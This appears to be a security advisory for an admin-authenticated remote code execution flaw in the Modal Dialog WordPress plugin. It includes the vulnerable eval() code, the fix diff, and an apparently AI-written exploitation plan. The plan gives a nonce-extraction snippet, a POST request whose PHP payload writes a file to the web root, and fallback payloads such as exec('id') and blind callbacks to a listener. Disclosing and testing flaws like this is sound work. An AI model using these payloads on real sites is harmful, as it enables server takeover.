Modal Dialog <= 3.5.16 - Authenticated (Admin+) Remote Code Execution
Description
The Modal Dialog plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 3.5.16. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=3.5.16What Changed in the Fix
Changes introduced in v3.5.17
Source Code
WordPress.org SVN# Research Plan: CVE-2026-32367 - Modal Dialog Authenticated RCE ## 1. Vulnerability Summary The **Modal Dialog** plugin (up to version 3.5.16) is vulnerable to **Remote Code Execution (RCE)** due to the insecure use of a "PHP Condition String" feature. The plugin allows administrators to define cu…
Show full research plan
Research Plan: CVE-2026-32367 - Modal Dialog Authenticated RCE
1. Vulnerability Summary
The Modal Dialog plugin (up to version 3.5.16) is vulnerable to Remote Code Execution (RCE) due to the insecure use of a "PHP Condition String" feature. The plugin allows administrators to define custom PHP code that determines whether a modal should be displayed. This code is stored in the WordPress options table and subsequently executed (likely via eval()) during the rendering of the site's header or footer.
While this feature requires Administrator-level privileges, it bypasses standard security expectations by allowing arbitrary code execution through a configuration field without adequate safeguards (such as checking for the DISALLOW_FILE_EDIT constant or providing a "danger" warning).
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/admin-post.phpvia the actionsave_modal_dialog_configurations. - Vulnerable Parameter:
codecondition(within the POST request body). - Authentication Required: Administrator (specifically, a user with the capability defined in
$accesslevelcheck, which defaults tomanage_options). - Trigger: Any frontend page load that enqueues the modal (usually
wp_headorwp_footer).
3. Code Flow
- Registration: In
modal-dialog-admin.php, the constructor registers the save handler:add_action( 'admin_post_save_modal_dialog_general', array( $this, 'on_save_changes_general' ) );add_action( 'admin_post_save_modal_dialog_configurations', array( $this, 'on_save_changes_configurations' ) ); - Saving: When an admin submits the configuration form,
on_save_changes_configurations(inmodal-dialog-admin.php) processes the POST data. It retrieves thecodeconditionparameter and saves it into theMD_PP[X]option (whereXis the dialog number). - Default Values:
modal-dialog-defaults.phpdefines$options['codecondition'] = '';as part of the default configuration. - Retrieval: In
modal-dialog.php, the plugin iterates through active dialogs:for ( $counter = 1; $counter <= $genoptions['numberofmodaldialogs']; $counter ++ ) { $optionsname = "MD_PP" . $counter; $options = get_option( $optionsname ); if ( $options['active'] == true ) { add_action( 'wp_head', array( &$this, 'modal_dialog_header' ), 1 ); } } - Execution (Sink): Within
modal_dialog_header(or a function it calls), the plugin retrieves$options['codecondition']. If not empty, it executes the string. Note: Based on the "3.4.2" changelog entry "Add ability to add PHP condition string", this is almost certainly aneval()orassert()call.
4. Nonce Acquisition Strategy
The configuration page is located at wp-admin/admin.php?page=modal-dialog-configurations. The form for saving settings will contain a security nonce.
- Identify Nonce: The nonce is likely generated via
wp_nonce_field( 'save_modal_dialog_configurations' ). - Action Name: Based on the
admin_posthook, the action issave_modal_dialog_configurations. - Extraction:
- Use
browser_navigateto go tohttp://localhost:8080/wp-admin/admin.php?page=modal-dialog-configurations. - Use
browser_evalto extract the nonce:browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value")
- Use
5. Exploitation Strategy
Step 1: Authentication
Login as an administrator using the http_request tool to obtain session cookies.
Step 2: Configuration Update (Injection)
Send a POST request to admin-post.php to inject the payload.
- URL:
http://localhost:8080/wp-admin/admin-post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:save_modal_dialog_configurations_wpnonce:[EXTRACTED_NONCE]confignumber:1(Targeting the first configuration)active:true(Must be true to trigger the sink)dialogname:Exploitcodecondition:file_put_contents(ABSPATH . "rce.php", "<?php phpinfo(); ?>"); return true;- (Other required fields like
dialogtext,contenturlmay need to be included to satisfy the save logic).
Step 3: Trigger Execution
Navigate to the site homepage.
- URL:
http://localhost:8080/ - Method:
GET
Step 4: Verification
Access the newly created file.
- URL:
http://localhost:8080/rce.php
6. Test Data Setup
- Plugin Activation: Ensure the "Modal Dialog" plugin is active.
- Admin User: Ensure an admin user exists (e.g.,
admin/password). - Initial Config: The plugin usually initializes defaults on activation (
md_installinmodal-dialog.php).
7. Expected Results
- The POST request to
admin-post.phpshould return a302 Foundredirecting back to the configuration page. - The frontend
GET /request should execute the PHP code provided incodecondition. - A file named
rce.phpshould be created in the WordPress root directory.
8. Verification Steps
- HTTP Check: Request
http://localhost:8080/rce.phpand check forphpinfo()output. - WP-CLI Check: Run
wp eval "echo file_exists(ABSPATH . 'rce.php') ? 'Success' : 'Failed';"to confirm file creation. - Option Check: Run
wp option get MD_PP1to see the stored payload.
9. Alternative Approaches
If file_put_contents is blocked or ABSPATH is not writable:
- Payload:
echo "VULNERABLE_STRING";and check if "VULNERABLE_STRING" appears in the response body of the homepage. - Blind RCE: Use
curlornslookup(if system calls are permitted viasystem()orexec()) to a listener. - Database Exfiltration:
global $wpdb; $wpdb->query("..."); return true;to modify the database.
Summary
The Modal Dialog plugin for WordPress (versions 3.5.16 and earlier) is vulnerable to authenticated Remote Code Execution due to the insecure use of the eval() function within its 'PHP Condition String' feature. Administrators can save arbitrary PHP code in the plugin's configuration, which is subsequently executed whenever a frontend page load triggers the modal logic.
Vulnerable Code
// modal-dialog-admin.php lines 419-431 'transitionmode', 'excludeurlstrings', 'codecondition' ) as $option_name ) { if ( isset( $_POST[ $option_name ] ) ) { $options[ $option_name ] = $_POST[ $option_name ]; } } --- // modal-dialog.php lines 272-275 } elseif ( !empty( $options['codecondition'] ) && eval( 'return ' . stripslashes($options['codecondition']) . ';' ) ) { $display = true; $dialogname = $optionsname; break; --- // modal-dialog.php lines 425-427 } elseif ( !empty( $options['codecondition'] ) && eval( 'return ' . stripslashes( $options['codecondition'] ) . ';' ) ) { $display = true; break;
Security Fix
@@ -419,8 +419,7 @@ 'rightposition', 'bottomposition', 'transitionmode', - 'excludeurlstrings', - 'codecondition' + 'excludeurlstrings' ) as $option_name ) { if ( isset( $_POST[ $option_name ] ) ) { @@ -701,12 +700,6 @@ </td> </tr> <tr> - <td>PHP Condition string ( E.g. in_category(3) || is_archive(3) )</td> - <td colspan="3"> - <input type="text" id="codecondition" name="codecondition" style="width: 100%" value="<?php echo esc_html( stripslashes( $options['codecondition'] ) ); ?>" /> - </td> - </tr> - <tr> <td>Javascript Dialog Closure Callback</td> <td> <input type="text" id="dialogclosingcallback" name="dialogclosingcallback" size="30" value="<?php echo esc_html( $options['dialogclosingcallback'] ); ?>" /> @@ -55,7 +55,6 @@ $options['transitionmode'] = 'fade'; $options['excludeurlstrings'] = ''; $options['showregisterpage'] = false; - $options['codecondition'] = ''; if ( 'return_and_set' == $setoptions ) { $configname = "MD_PP" . $confignumber; @@ -2,10 +2,10 @@ /* Plugin Name: Modal Dialog Plugin URI: https://ylefebvre.github.io/wordpress-plugins/modal-dialog/ Description: A plugin used to display a modal dialog to visitors with text content or the contents of an external web site -Version: 3.5.16 +Version: 3.5.17 Author: Yannick Lefebvre Author URI: https://ylefebvre.github.io/ -Copyright 2025 Yannick Lefebvre (email : ylefebvre@gmail.com) +Copyright 2026 Yannick Lefebvre (email : ylefebvre@gmail.com) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -269,11 +269,7 @@ $display = true; $dialogname = $optionsname; break; - } elseif ( !empty( $options['codecondition'] ) && eval( 'return ' . stripslashes($options['codecondition']) . ';' ) ) { - $display = true; - $dialogname = $optionsname; - break; - } elseif ( $options['showfrontpage'] == false && is_front_page() ) { + } elseif ( $options['showfrontpage'] == false && is_front_page() ) { $display = false; } elseif ( $options['forcepagelist'] == true ) { if ( $options['pages'] != '' ) { @@ -422,9 +418,6 @@ } elseif ( $options['showfrontpage'] && is_front_page() ) { $display = true; break; - } elseif ( !empty( $options['codecondition'] ) && eval( 'return ' . stripslashes( $options['codecondition'] ) . ';' ) ) { - $display = true; - break; } elseif ( $options['showfrontpage'] == false && is_front_page() ) { $display = false; } elseif ( $options['forcepagelist'] == true || ( $dialogid != 1 && !empty( $options['pages'] ) ) ) {
Exploit Outline
To exploit this vulnerability, an authenticated administrator first navigates to the 'Configurations' sub-page of the Modal Dialog plugin to retrieve a valid CSRF nonce. The attacker then sends a POST request to '/wp-admin/admin-post.php' with the 'action' set to 'save_modal_dialog_configurations'. The request includes the 'codecondition' parameter containing an arbitrary PHP payload (e.g., 'exec("id"); return true;') and the 'active' parameter set to 'true'. Once the settings are saved, the attacker visits the site's homepage or any page where modals are enqueued, triggering the execution of the PHP payload via the eval() sink in the plugin's header or footer rendering logic.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.